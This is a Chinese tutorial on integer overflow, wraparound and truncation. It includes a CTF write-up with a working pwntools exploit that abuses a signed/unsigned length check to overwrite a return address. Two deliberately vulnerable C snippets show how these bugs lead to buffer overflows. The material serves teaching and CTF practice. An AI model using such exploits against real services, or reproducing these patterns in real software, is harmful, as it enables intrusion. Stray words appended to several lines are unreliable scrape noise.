整數溢出

什麼是整數溢出

因爲整數在內存裏保存在一個固定長度的空間內,它能存儲的最大值和最小值是固定的,若是咱們嘗試去存儲一個數,而這個數又大於這個固定的最大值時,就會致使整數溢出python

整數溢出的危害

若是一個整數用來計算一些敏感數值,如緩衝區大小或數值索引,就會產生潛在的危險。一般狀況下,整數溢出並無改寫額外的內存,不會直接致使任意代碼執行,可是它會致使棧溢出和堆溢出,然後二者都會致使任意代碼執行。因爲整數溢出出現以後,很難被當即察覺,比較難用一個有效的方法去判斷是否出現或者可能出現整數溢出。數組

整數溢出

關於整數的異常狀況主要有三種:dom

  • 溢出函數

    • 只有有符號數纔會發生溢出。有符號數最高位表示符號,在兩正或兩負相加時,有可能改變符號位的值,產生溢出
    • 溢出標誌OF可檢測有符號數的溢出
  • 迴繞this

    • 無符號數0-1時會變成最大的數,如1字節的無符號數會變爲255,而255+1會變成最小數0.f
    • 進位標誌CF可檢測無符號數的迴繞
  • 截斷code

    • 將一個較大寬度的數存入一個寬度小的操做數中,高位發生截斷

常見題型

  • 整數轉換
  • 迴繞和溢出
  • 截斷

整數轉換 -- newbugku一道整數溢出題目f4n_pwn

main函數

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-1Ch]
  unsigned int buf; // [esp+10h] [ebp-18h]
  int v6; // [esp+14h] [ebp-14h]
  int fd; // [esp+18h] [ebp-10h]
  int i; // [esp+1Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  puts("###### Welecome to ctf game ######\ninput your name length : ");
  read_name();
  puts("let's begin guess num game ");
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, &buf, 4u) < 0 )
  {
    puts("error");
    exit(0);
  }
  close(fd);
  srand(buf);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 9 + 3;
    printf("Round %d , please guess the num : \n", i);
    fflush(stdout);
    fflush(stdin);
    __isoc99_scanf("%d", &v4);
    if ( v4 != v6 )
    {
      printf("you fail");
      exit(0);
    }
  }
  printf("u are great! this is your flag");
  getflag();
  return 0;
}

猜想隨機數可得flag,hhh索引

漏洞函數read_name()

int read_name()
{
  char s[80]; // [esp+8h] [ebp-60h]
  unsigned int v2; // [esp+58h] [ebp-10h]
  unsigned int i; // [esp+5Ch] [ebp-Ch]

  memset(s, 0, 0x50u);
  __isoc99_scanf("%ld", &v2);
  if ( (signed int)v2 > 48 )
  {
    puts("too long!!! u are a hacker!!!");
    exit(0);
  }
  puts("please tell me your name : ");
  fflush(stdout);
  fflush(stdin);
  for ( i = 0; i < v2; ++i )
  {
    read(0, &s[i], 1u);
    if ( s[i] == 10 )
    {
      s[i] = 0;
      return printf("helllo %s\n", s);
    }
  }
  return printf("helllo %s\n", s);
}

看到這裏想到利用數組s覆蓋返回地址,控制程序跳轉到getflag()函數內存

利用過程rem

  1. 控制v2足夠大,利用有符號數向無符號數的轉換
  2. 覆蓋棧空間時,控制i的值
  3. 覆蓋返回地址getflag
from pwn import *

p = remote("114.116.54.89",10011)


p.recvuntil("input your name length : \n")
p.sendline("-1")

payload = 'a'*(0x60-0xc) + 'c' + p32(0x080486BB)

p.recvuntil("please tell me your name : \n")
p.sendline(payload)
p.interactive()

迴繞和溢出

void vulnerable() {
    size_t len;
    // int len;
    char* buf;
    len = read_int_from_network();
    buf = malloc(len + 5);
    read(fd, buf, len);
    ...
}

這個例子看似避開了緩衝區溢出的問題,可是若是 len 過大, len+5 有可能發生迴繞。好比說,在 x86-32 上,若是 len = 0xFFFFFFFF ,則 len+5 = 0x00000004 ,這時 malloc() 只分配了 4 字節的內存區域,而後在裏面寫入大量的數據,緩衝區溢出也就發生了。(若是將 len 聲明爲有符號 int 類型, len+5 可能發生溢出)字符串

截斷

void main(int argc, char *argv[]) {
    unsigned short int total;
    total = strlen(argv[1]) + strlen(argv[2]) + 1;
    char *buf = (char *)malloc(total);
    strcpy(buf, argv[1]);
    strcat(buf, argv[2]);
    ...
}

這個例子接受兩個字符串類型的參數並計算它們的總長度,程序分配足夠的內存來存儲拼接後的字符串。首先將第一個字符串參數複製到緩衝區中,而後將第二個參數鏈接到尾部。若是攻擊者提供的兩個字符串總長度沒法用 total 表示,則會發生截斷,從而致使後面的緩衝區溢出。

參考

ctf-all-in-one

相關文章
相關標籤/搜索